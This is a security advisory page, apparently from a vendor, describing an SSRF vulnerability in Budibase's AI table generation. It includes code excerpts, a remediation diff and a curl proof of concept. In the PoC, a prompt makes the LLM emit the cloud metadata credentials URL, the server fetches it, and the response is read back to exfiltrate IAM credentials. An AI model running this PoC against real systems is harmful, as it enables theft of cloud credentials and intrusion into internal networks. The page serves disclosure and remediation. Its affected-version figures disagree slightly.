GHSA-HFHX-W8P8-4HC7

GHSA-HFHX-W8P8-4HC7 is a medium-severity server-side request forgery (SSRF) vulnerability in @budibase/server (npm), affecting versions <= 3.38.1. No fixed version is listed yet.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).

A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.

This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.

Affected Versions

<= 3.39.0 (current lerna.json version at time of analysis)

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check

// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // No blacklist validation

This is called from:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
  entry: Record<string, any>,
  attachmentColumns: FieldSchema[]
) {
  function processAttachment(value: any) {
    if (typeof value === "object") {
      return uploadFile(value)
    }

    return uploadUrl(value)  // String values treated as URLs, fetched without protection
  }

Which is triggered via generateRows() at line 34:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
        await processAttachments(entry, attachmentColumns)

Compare with correct sibling: processUrlFile() in extract.ts

// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
  fileUrl: string,
  fileType: SupportedFileType,
  llm: LLMResponse
): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist

The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:

// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
  url: string,
  request: RequestInit = {}
): Promise<Response> {
  const maxRedirects = 5
  let nextUrl = url
  // ...
  for (let redirects = 0; redirects <= maxRedirects; redirects++) {
    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges
    const response = await fetch(nextUrl, nextRequest)

Proof of Concept

Prerequisites: Builder-level authentication, AI feature enabled on the instance.

# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"[email protected]","password":"password123"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx"  # Use existing app

# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
  -H "Content-Type: application/json" \
  -H "Cookie: budibase:auth=$TOKEN" \
  -d '{
    "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.

# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
  -H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content

Suggested Remediation

Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():

// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"

import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"

// ...

export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
-    const res = await fetch(url)
+    const res = await fetchWithBlacklist(url)

    const extension = [...res.url.split(".")].pop()!.split("?")[0]

Impact

  • Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
  • Internal service enumeration and data exfiltration from private network resources
  • Port scanning of internal infrastructure via timing/error differences
  • Bypass of network segmentation when Budibase is deployed in a DMZ or VPC

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

Affected versions

@budibase/server (<= 3.38.1)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

No fixed version is listed for GHSA-HFHX-W8P8-4HC7 yet.

In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-HFHX-W8P8-4HC7? GHSA-HFHX-W8P8-4HC7 is a medium-severity server-side request forgery (SSRF) vulnerability in @budibase/server (npm), affecting versions <= 3.38.1. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. Which versions of @budibase/server are affected by GHSA-HFHX-W8P8-4HC7? @budibase/server (npm) versions <= 3.38.1 is affected.
  3. Is there a fix for GHSA-HFHX-W8P8-4HC7? No fixed version is listed for GHSA-HFHX-W8P8-4HC7 yet. Monitor the advisory for updates and apply mitigations in the interim.
  4. Is GHSA-HFHX-W8P8-4HC7 exploitable, and should I be worried? Whether GHSA-HFHX-W8P8-4HC7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-HFHX-W8P8-4HC7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-HFHX-W8P8-4HC7? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.

Other vulnerabilities in @budibase/server

Stop the waste.
Protect your environment with Kodem.